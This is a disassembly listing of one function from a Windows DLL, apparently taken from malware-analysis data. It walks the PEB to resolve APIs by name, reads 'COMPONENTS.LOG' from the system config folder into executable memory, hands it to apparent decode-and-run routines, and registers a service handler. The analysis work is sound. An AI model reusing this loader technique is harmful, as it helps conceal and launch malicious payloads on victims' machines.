Function at 0x180004970
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
mov r11, rsp
push r14
sub rsp, 0x2a0
mov rax, qword [0x18002a008]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov qword [r11 + 8], rbx
lea rcx, [0x18002bf70]
mov rbx, rdx
mov qword [r11 - 0x28], r15
xor edx, edx
mov r8d, 0x104
call fcn.180007560
mov rdx, qword [rbx]
lea rcx, [0x18002bf70]
mov r8d, 0x104
call fcn.18000ec40
mov rdx, qword [rbx]
lea rcx, [0x18002bf70]
mov r8d, 0x104
call fcn.18000f100
xor edx, edx
mov dword [rsp + 0x40], 0
mov r8d, 0x105
lea rcx, [rsp + 0x50]
call fcn.180007560
xor edx, edx
lea rcx, [rsp + 0x160]
mov r8d, 0x105
call fcn.180007560
mov rax, qword gs:[0x60]
mov r15, qword [rax + 0x18]
add r15, 0x20
mov r14, qword [r15]
cmp r14, r15
je 0x180004c5c
mov qword [rsp + 0x2c8], rsi
mov qword [rsp + 0x298], rdi
nop dword [rax]
nop word [rax + rax]
mov rdi, qword [r14 + 0x40]
xor ebx, ebx
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rdi + rax*2], bx
jne 0x180004a50
movsxd rsi, eax
test eax, eax
jle 0x180004a75
movzx ecx, word [rdi + rbx*2]
call fcn.18000ec00
mov word [rdi + rbx*2], ax
inc rbx
cmp rbx, rsi
jl 0x180004a60
mov rcx, rdi
call fcn.180004230
test rax, rax
jne 0x180004a8f
mov r14, qword [r14]
cmp r14, r15
jne 0x180004a40
jmp 0x180004c4c
mov rbx, qword [r14 + 0x20]
test rbx, rbx
je 0x180004c4c
mov qword [rsp + 0x2c0], rbp
lea rdx, str.GetSystemDirectoryA
mov qword [rsp + 0x290], r12
mov rcx, rbx
mov qword [rsp + 0x288], r13
call fcn.180004300
lea rdx, str.CreateFileA
mov rcx, rbx
mov r13, rax
call fcn.180004300
lea rdx, str.GetFileSize
mov rcx, rbx
mov rsi, rax
call fcn.180004300
lea rdx, str.ReadFile
mov rcx, rbx
mov rdi, rax
call fcn.180004300
lea rdx, str.CloseHandle
mov rcx, rbx
mov r14, rax
call fcn.180004300
lea rdx, str.VirtualAlloc
mov rcx, rbx
mov r15, rax
call fcn.180004300
lea rdx, str.VirtualFree
mov rcx, rbx
mov rbp, rax
call fcn.180004300
mov r12, rax
test r13, r13
je 0x180004c34
test rsi, rsi
je 0x180004c34
test rdi, rdi
je 0x180004c34
test r14, r14
je 0x180004c34
test r15, r15
je 0x180004c34
test rbp, rbp
je 0x180004c34
test rax, rax
je 0x180004c34
mov edx, 0x104
lea rcx, [rsp + 0x50]
call r13
lea r9, str.COMPONENTS.LOG
lea r8, [rsp + 0x50]
lea rdx, str._sconfig_s
lea rcx, [rsp + 0x160]
call fcn.180005000
xor r13d, r13d
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r13 + 1]
call rsi
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180004c34
xor edx, edx
mov rcx, rax
call rdi
mov edx, eax
lea r9d, [r13 + 0x40]
xor ecx, ecx
mov edi, eax
mov r8d, 0x1000
call rbp
mov rbx, rax
test rax, rax
je 0x180004c34
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r13
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call r14
mov rcx, rsi
call r15
mov edx, edi
mov rcx, rbx
call fcn.1800043b0
mov edx, edi
mov rcx, rbx
call fcn.180001070
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call r12
mov r12, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x2c0]
mov r13, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x298]
xor r14d, r14d
mov dword [0x18002bf38], 0x30
lea rdx, [0x180004930]
mov qword [0x18002bf48], r14
lea rcx, [0x18002bf70]
mov dword [0x18002bf50], r14d
mov dword [0x18002bf3c], 2
mov qword [0x18002bf40], 7
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
mov r15, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2b0]
mov qword [0x18002bf60], rax
test rax, rax
je 0x180004ce7
lea rdx, [0x18002bf38]
mov dword [0x18002bf44], 1
mov rcx, rax
mov dword [0x18002bf3c], 3
mov qword [0x18002bf4c], r14
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18002bf58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]